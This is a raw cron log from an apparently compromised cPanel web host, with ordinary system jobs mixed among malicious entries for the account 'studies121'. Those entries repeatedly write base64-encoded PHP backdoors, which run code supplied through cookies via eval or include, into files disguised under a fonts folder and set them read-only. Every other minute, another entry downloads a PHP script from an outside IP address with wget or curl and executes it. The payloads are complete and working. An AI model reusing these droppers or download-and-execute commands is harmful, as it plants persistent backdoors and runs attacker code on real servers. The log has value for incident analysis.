Sep  3 00:44:02 ip-184-168-122-23 CROND[5101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:45:01 ip-184-168-122-23 CROND[5186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:45:01 ip-184-168-122-23 CROND[5185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:45:01 ip-184-168-122-23 CROND[5188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:45:01 ip-184-168-122-23 CROND[5190]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  3 00:45:01 ip-184-168-122-23 CROND[5191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:45:01 ip-184-168-122-23 CROND[5198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:45:01 ip-184-168-122-23 CROND[5199]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:46:01 ip-184-168-122-23 CROND[5287]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:46:01 ip-184-168-122-23 CROND[5288]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:46:01 ip-184-168-122-23 CROND[5291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:46:01 ip-184-168-122-23 CROND[5294]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 00:46:01 ip-184-168-122-23 CROND[5293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:46:01 ip-184-168-122-23 CROND[5297]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 00:46:01 ip-184-168-122-23 CROND[5296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:47:01 ip-184-168-122-23 CROND[5388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:47:01 ip-184-168-122-23 CROND[5389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:47:01 ip-184-168-122-23 CROND[5390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:47:01 ip-184-168-122-23 CROND[5391]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:48:01 ip-184-168-122-23 CROND[5588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:48:01 ip-184-168-122-23 CROND[5592]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:48:01 ip-184-168-122-23 CROND[5591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:48:01 ip-184-168-122-23 CROND[5589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:48:01 ip-184-168-122-23 CROND[5590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:49:01 ip-184-168-122-23 CROND[5671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:49:01 ip-184-168-122-23 CROND[5673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:49:01 ip-184-168-122-23 CROND[5675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:49:01 ip-184-168-122-23 CROND[5674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:50:01 ip-184-168-122-23 CROND[5758]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:50:01 ip-184-168-122-23 CROND[5760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:50:01 ip-184-168-122-23 CROND[5761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:50:01 ip-184-168-122-23 CROND[5765]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 00:50:01 ip-184-168-122-23 CROND[5766]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 00:50:01 ip-184-168-122-23 CROND[5764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:50:01 ip-184-168-122-23 CROND[5768]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:50:01 ip-184-168-122-23 CROND[5767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:50:01 ip-184-168-122-23 CROND[5769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:51:01 ip-184-168-122-23 CROND[5886]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:51:01 ip-184-168-122-23 CROND[5889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:51:01 ip-184-168-122-23 CROND[5890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:51:01 ip-184-168-122-23 CROND[5888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:52:01 ip-184-168-122-23 CROND[5990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:52:01 ip-184-168-122-23 CROND[5991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:52:01 ip-184-168-122-23 CROND[5993]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:52:01 ip-184-168-122-23 CROND[5995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:52:01 ip-184-168-122-23 CROND[5994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:53:01 ip-184-168-122-23 CROND[6072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:53:01 ip-184-168-122-23 CROND[6075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:53:01 ip-184-168-122-23 CROND[6076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:53:01 ip-184-168-122-23 CROND[6074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:54:01 ip-184-168-122-23 CROND[6148]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:54:01 ip-184-168-122-23 CROND[6149]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:54:01 ip-184-168-122-23 CROND[6151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:54:01 ip-184-168-122-23 CROND[6152]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:54:01 ip-184-168-122-23 CROND[6160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:55:01 ip-184-168-122-23 CROND[6255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:55:01 ip-184-168-122-23 CROND[6257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 00:55:01 ip-184-168-122-23 CROND[6258]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 00:55:01 ip-184-168-122-23 CROND[6259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 00:55:01 ip-184-168-122-23 CROND[6261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:55:01 ip-184-168-122-23 CROND[6260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 00:56:01 ip-184-168-122-23 CROND[6352]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 00:56:01 ip-184-168-122-23 CROND[6355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 00:56:01 ip-184-168-122-23 CROND[6356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 00:56:01 ip-184-168-122-23 CROND[6354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
